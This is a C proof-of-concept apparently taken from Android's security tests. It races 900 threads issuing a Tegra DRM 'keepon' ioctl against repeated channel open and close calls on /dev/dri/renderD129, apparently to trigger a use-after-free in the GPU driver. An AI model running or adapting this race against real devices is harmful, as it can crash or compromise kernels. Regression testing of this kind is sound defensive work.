1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <errno.h>
22 #include <sys/stat.h>
23 #include <fcntl.h>
24 #include <sched.h>
25 #include <sys/types.h>
26 #include <signal.h>
27 #include <unistd.h>
28 
29 #define KEEPON_THREAD_NUM	900
30 #define TRY_TIMES	KEEPON_THREAD_NUM
31 #define DEV "/dev/dri/renderD129"
32 
33 #define SIOCIWFIRSTPRIV 0x8BE0
34 #define SIOCGIWNAME     0x8B01
35 #define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
36 #define PRIV_CUSTOM_BWCS_CMD            13
37 #define PRIV_CMD_OID                    15
38 #define PRIV_CMD_SW_CTRL                20
39 #define PRIV_CMD_WSC_PROBE_REQ          22
40 
41 enum host1x_class {
42         HOST1X_CLASS_HOST1X = 0x1,
43         HOST1X_CLASS_NVENC = 0x21,
44         HOST1X_CLASS_VI = 0x30,
45         HOST1X_CLASS_ISPA = 0x32,
46         HOST1X_CLASS_ISPB = 0x34,
47         HOST1X_CLASS_GR2D = 0x51,
48         HOST1X_CLASS_GR2D_SB = 0x52,
49         HOST1X_CLASS_VIC = 0x5D,
50         HOST1X_CLASS_GR3D = 0x60,
51         HOST1X_CLASS_NVJPG = 0xC0,
52         HOST1X_CLASS_NVDEC = 0xF0,
53 };
54 
55 #define DRM_COMMAND_BASE                0x40
56 #define DRM_COMMAND_END                 0xA0
57 #define DRM_TEGRA_OPEN_CHANNEL          0x05
58 #define DRM_TEGRA_CLOSE_CHANNEL         0x06
59 #define DRM_TEGRA_START_KEEPON		0x10
60 
61 struct drm_tegra_open_channel {
62         __u32 client;
63         __u32 pad;
64     volatile __u64 context;
65 };
66 
67 struct drm_tegra_close_channel {
68     volatile __u64 context;
69 };
70 
71 struct drm_tegra_keepon {
72 	volatile __u64 context;
73 };
74 
75 #define DRM_IOCTL_BASE                  'd'
76 #define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
77 
78 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
79 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
80 #define DRM_IOCTL_TEGRA_START_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_START_KEEPON, struct drm_tegra_keepon)
81 
82 int fd;
83 pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
84 
85 volatile struct drm_tegra_open_channel open_c = { 0 };
86 volatile struct drm_tegra_close_channel close_c = { 0 };
87 volatile struct drm_tegra_keepon keepon_c = { 0 };
88 
set_affinity(int num)89 static int set_affinity(int num)
90 {
91 	int ret = 0;
92 	cpu_set_t mask;
93 	CPU_ZERO(&mask);
94 	CPU_SET(num, &mask);
95 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
96 	if(ret == -1){
97 	}
98 	return ret;
99 }
100 
prepare()101 static void prepare()
102 {
103 	open_c.client = HOST1X_CLASS_VIC;
104 }
105 
keepon_thread(void * no_use)106 void* keepon_thread(void* no_use)
107 {
108 	set_affinity(1);
109 
110 	while(1){
111 		ioctl(fd, DRM_IOCTL_TEGRA_START_KEEPON, &keepon_c);
112 	}
113 }
114 
main()115 int main()
116 {
117 	int i, try_time = TRY_TIMES, ret;
118 
119 	/* bind_cpu */
120 	set_affinity(0);
121 
122 	/* open dev */
123 	fd = open(DEV,O_RDONLY);
124 	if(fd == -1){
125 		return 0;
126 	}
127 
128 	/* prepare ioctl cmd */
129 	prepare();
130 
131 	/* create keepon thread */
132 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
133 		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
134 		if(ret){
135 			goto out_keepon_thread;
136 		}
137 	}
138 
139 	while(try_time){
140 		/* open */
141 		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
142 		if(ret == 0){
143 			try_time--;
144 			/* set keepon */
145 			keepon_c.context = open_c.context;
146 			/* set close */
147 			close_c.context = open_c.context;
148 			usleep(500);
149 			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
150 		}
151 	}
152 
153 out_keepon_thread:
154 	/* kill keepon thread */
155 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
156 			pthread_kill(keepon_thread_id[i], SIGKILL);
157 	}
158 out_dev:
159 	close(fd);
160 	return 0;
161 }
162